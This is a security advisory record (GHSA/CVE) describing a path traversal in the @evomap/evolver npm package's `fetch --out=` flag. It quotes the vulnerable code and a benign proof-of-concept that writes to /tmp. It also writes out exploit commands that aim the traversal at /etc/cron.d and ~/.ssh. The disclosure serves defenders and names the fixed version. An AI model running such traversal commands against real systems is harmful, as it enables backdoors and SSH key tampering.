{"id":"GHSA-r466-rxw4-3j9j","revision":"5e7d189308064ba6ac9263607515e3f6","records":[{"revision":"5e7d189308064ba6ac9263607515e3f6","observedAt":"2026-10-24T13:17:17.793+00:00","statement":{"source":"osv","id":"GHSA-r466-rxw4-3j9j","aliases":["CVE-2026-42075"],"title":"Evolver: Path Traversal via `--out` flag in `fetch` command allows Arbitrary File Write","description":"### Summary\nA path traversal vulnerability in the skill download (`fetch`) command allows attackers to write files to arbitrary locations on the filesystem. The `--out=` flag accepts user-provided paths without validation, enabling directory traversal attacks that can overwrite critical system files or create files in sensitive locations.\n\n### Details\nThe vulnerability exists in `index.js` at lines 752-767:\n\n```javascript\n// index.js:751-768\nconst outFlag = args.find(a => typeof a === 'string' && a.startsWith('--out='));\nconst safeId = String(data.skill_id || skillId).replace(/[^a-zA-Z0-9_\\-\\.]/g, '_');\n\n// VULNERABLE: No path validation on user input\nconst outDir = outFlag\n  ? outFlag.slice('--out='.length)  // User-controlled path\n  : path.join('.', 'skills', safeId);\n\nif (!fs.existsSync(outDir)) fs.mkdirSync(outDir, { recursive: true });\n\n// ... downloads skill files to outDir\n```\n\nThe `outFlag.slice('--out='.length)` extracts the user-provided path without any sanitization or validation. An attacker can provide paths like `../../../etc/cron.d` to write files outside the intended directory.\n\nNote: The `safeId` variable is sanitized via inline replacement (`replace(/[^a-zA-Z0-9_\\-\\.]/g, '_')`), but this sanitization only applies to the default path, not to the user-provided `--out=` path.\n\n### PoC\n\n**Prerequisites:**\n- Node.js installed\n- Access to the evolver application\n\n**Steps to reproduce:**\n\n1. Create a test file demonstrating the vulnerability:\n\n```javascript\n// test-file-write.js\nconst fs = require('fs');\nconst path = require('path');\n\n// Simulate the vulnerable fetchSkill logic\nfunction vulnerableFetchSkill(outFlag) {\n  const outDir = outFlag\n    ? outFlag.slice('--out='.length)  // No validation!\n    : path.join('.', 'skills', 'default');\n  \n  console.log('Target directory:', outDir);\n  console.log('Resolved path:', path.resolve(outDir));\n  \n  // In real code, this would write skill files\n  const targetFile = path.join(outDir, 'skill.js');\n  console.log('Would write to:', targetFile);\n  \n  return { outDir, targetFile };\n}\n\n// Test cases\nconsole.log('=== Test 1: Normal path ===');\nvulnerableFetchSkill('--out=./my-skills/test');\n\nconsole.log('\\n=== Test 2: Path traversal ===');\nconst result = vulnerableFetchSkill('--out=../../../tmp/evolver-test');\n\n// Actually demonstrate the vulnerability\nconsole.log('\\n=== Creating directory to prove traversal works ===');\ntry {\n  if (!fs.existsSync(result.outDir)) {\n    fs.mkdirSync(result.outDir, { recursive: true });\n  }\n  fs.writeFileSync(\n    path.join(result.outDir, 'poc.txt'),\n    'Path traversal successful!\\nThis file was written outside the intended directory.'\n  );\n  console.log('SUCCESS: File written to:', path.resolve(result.targetFile));\n} catch (e) {\n  console.log('Error:', e.message);\n}\n```\n\n2. Run the test:\n```bash\nnode test-file-write.js\n```\n\n**Expected output:**\n```\n=== Test 2: Path traversal ===\nTarget directory: ../../../tmp/evolver-test\nResolved path: /tmp/evolver-test\nWould write to: ../../../tmp/evolver-test/skill.js\n\n=== Creating directory to prove traversal works ===\nSUCCESS: File written to: /tmp/evolver-test/poc.txt\n```\n\n**Actual exploit scenario:**\nAn attacker can run:\n```bash\n# Write to system cron directory (requires appropriate permissions)\nnode index.js fetch malicious-skill --out=../../../etc/cron.d\n\n# Or overwrite existing files\nnode index.js fetch existing-skill --out=../../../home/user/.ssh\n```\n\n### Impact\nThis is an **Arbitrary File Write** vulnerability that can lead to:\n- Overwriting critical system files\n- Installing persistent backdoors (e.g., in cron directories)\n- Modifying SSH authorized_keys\n- Overwriting application code or configuration files\n- Privilege escalation if the process runs with elevated privileges\n\n**Affected users:** Anyone using the `fetch` command with the `--out=` flag, especially in automated environments or CI/CD pipelines.","state":0,"publishedAt":"2026-04-22T22:06:15+00:00","modifiedAt":"2026-05-05T16:11:45.387164+00:00","affected":[{"ecosystem":"npm","name":"@evomap/evolver","ranges":[{"type":"SEMVER","events":[{"kind":"introduced","version":"0"},{"kind":"fixed","version":"1.69.3"}]}],"versions":[],"rawVersionEvidence":null}],"metrics":[{"system":"CVSS_V3","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H","score":null,"severity":null},{"system":"Publisher rating","vector":null,"score":null,"severity":"HIGH"}],"references":["https://github.com/EvoMap/evolver/security/advisories/GHSA-r466-rxw4-3j9j","https://nvd.nist.gov/vuln/detail/CVE-2026-42075","https://github.com/EvoMap/evolver","https://github.com/EvoMap/evolver/releases/tag/v1.69.3"],"sourceUrl":"https://github.com/advisories/GHSA-r466-rxw4-3j9j","license":"GitHub Advisory Database · CC-BY-4.0","key":"osv:GHSA-r466-rxw4-3j9j","identifiers":["GHSA-r466-rxw4-3j9j","CVE-2026-42075"]},"retained":false,"historicalAffected":[]}],"coverage":[]}